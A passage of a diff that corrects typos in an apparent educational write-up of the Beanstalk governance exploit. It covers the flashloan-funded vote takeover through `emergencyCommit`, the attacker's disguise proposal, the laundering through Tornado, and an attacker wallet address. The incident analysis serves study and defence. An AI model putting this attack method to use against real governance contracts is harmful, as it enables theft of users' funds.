scenario for this exploit. Vulnerable code: ```solidity @@ -57,20 +55,20 @@ Vulnerable code: emit Incentivization(account, amount); } ``` -The `emergencyCommit` function execute the proposal if `getGovernanceEmergencyThreshold` is reached, which is 2/3 of the votes, and only after 1 day has passed since the BIP was submitted. +The `emergencyCommit` function executes the proposal if `getGovernanceEmergencyThreshold` is reached, which is 2/3 of the votes, and only after 1 day has passed since the BIP was submitted. -The attackers first submit porpsals bip18 and bip19. The first one being the real exploit while the later a probable disguease, where it donates funds to the Ukraine foundation. +The attackers first submit proposals bip18 and bip19. The first one is the real exploit while the latter is a probable disguise, where it donates funds to the Ukraine foundation. -After 1 day, the exploit was produced using flashlons from aave, uniswap and sushi. The attackers flashloan funds in USDT, USDC, DAI, BEAN and LUSD. Using these funds the swap the values for BEAN tokens and call `emergencyCommit`. Once the delegateCall is produced from the beanstalk silo contract, they send funds in multiple tokens to the `0x79224bc0bf70ec34f0ef56ed8251619499a59def` address hold by the attacker. These funds are then used to pay the flashloans and are swapped into WETH which is later deposited in Tornado. +After 1 day, the exploit was produced using flashlons from aave, uniswap and sushi. The attackers flashloan funds in USDT, USDC, DAI, BEAN and LUSD. Using these funds they swap the values for BEAN tokens and call `emergencyCommit`. Once the delegateCall is produced from the beanstalk silo contract, they send funds in multiple tokens to the `0x79224bc0bf70ec34f0ef56ed8251619499a59def` address held by the attacker. These funds are then used to pay the flashloans and are swapped into WETH which is later deposited in Tornado. The attacker was cautious. -1. They disuised the attack by submitting an incomplete proposal and sending the relevant data during the exploit +1. They disguised the attack by submitting an incomplete proposal and sending the relevant data during the exploit 2. They added a simple proposal sending funds to a foundation to look well intended -3. They called multiple flashloans so funds would be enough even when only one would've been enough +3. They performed multiple flashloans so funds would be enough even when only one would've been enough -Point 3. added some extra cost on the attack which could've been saved if checking for voting power before voting. +Point 3. added some extra cost to the attack which could've been saved if checking for voting power before voting. -This vulnerability is exploited here with a few difference from the original exploit: no disguise is performed, everything uses the same contract and funds are not exchanged for WETH. +This vulnerability is exploited here with a few differences from the original exploit: no disguise is performed, everything uses the same contract and funds are not exchanged for WETH. ## Further readings https://rekt.news/beanstalk-rekt/